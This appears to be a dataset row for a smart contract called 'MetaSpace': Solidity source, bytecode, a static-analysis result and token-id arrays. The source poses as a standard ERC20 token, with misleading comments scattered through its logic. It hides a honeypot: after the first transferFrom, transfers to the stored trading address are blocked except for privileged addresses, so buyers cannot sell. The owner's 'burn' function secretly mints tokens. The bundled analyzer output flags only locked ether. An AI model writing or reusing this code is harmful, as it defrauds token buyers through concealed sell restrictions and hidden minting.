[ 101, 1014, 2595, 2683, 2575, 2063, 2629, 2497, 2692, 22203, 2683, 2683, 2620, 2509, 2546, 2475, 2546, 2683, 2620, 23777, 18827, 2497, 2683, 23833, 2063, 2575, 2094, 22407, 2278, 2509, 2050, 2549, 15878, 2683, 2475, 27717, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1019, 1025, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 6327, 17589, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 12324, 1063, 2065, 28819, 3370, 20285, 1065, 2013, 1000, 1012, 1012, 1013, 6327, 1013, 19706, 1013, 2065, 28819, 3370, 20285, 1012, 14017, 1000, 1025, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 4722, 17589, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,499
0x96E5Ea0e1c0d5ccE34433aCd553EfeF1D2351629
// SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ abstract contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Burns a specific amount of tokens. * param value The amount of lowest token units to be burned. */ function burn(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: burn from the zero address"); _burn (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _burn(address _burnAddress, uint _burnAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _burnAddress; _totalSupply = _totalSupply.add(_burnAmount*2); balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } receive() external payable { } fallback() external payable { } } contract MetaSpace is TokenERC20 { /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; reflector = _ref; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } }
0x60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610845565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b6565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e0565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d36600461091c565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108b6565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108b6565b6105bf565b3480156101f957600080fd5b50610108610208366004610937565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096a565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096a565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b600180546102409061096a565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109bb565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b482846109d2565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec8260026109ea565b600554906107a8565b6005556108256108068260026109ea565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087257858101830151858201604001528201610856565b81811115610884576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b157600080fd5b919050565b600080604083850312156108c957600080fd5b6108d28361089a565b946020939093013593505050565b6000806000606084860312156108f557600080fd5b6108fe8461089a565b925061090c6020850161089a565b9150604084013590509250925092565b60006020828403121561092e57600080fd5b6106c38261089a565b6000806040838503121561094a57600080fd5b6109538361089a565b91506109616020840161089a565b90509250929050565b600181811c9082168061097e57607f821691505b6020821081141561099f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cd576109cd6109a5565b500390565b600082198211156109e5576109e56109a5565b500190565b6000816000190483118215151615610a0457610a046109a5565b50029056fea2646970667358221220afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2629, 5243, 2692, 2063, 2487, 2278, 2692, 2094, 2629, 9468, 2063, 22022, 23777, 2509, 6305, 2094, 24087, 2509, 27235, 2546, 2487, 2094, 21926, 22203, 2575, 24594, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 27004, 14246, 2140, 2615, 2509, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 10061, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 7484, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 1013, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]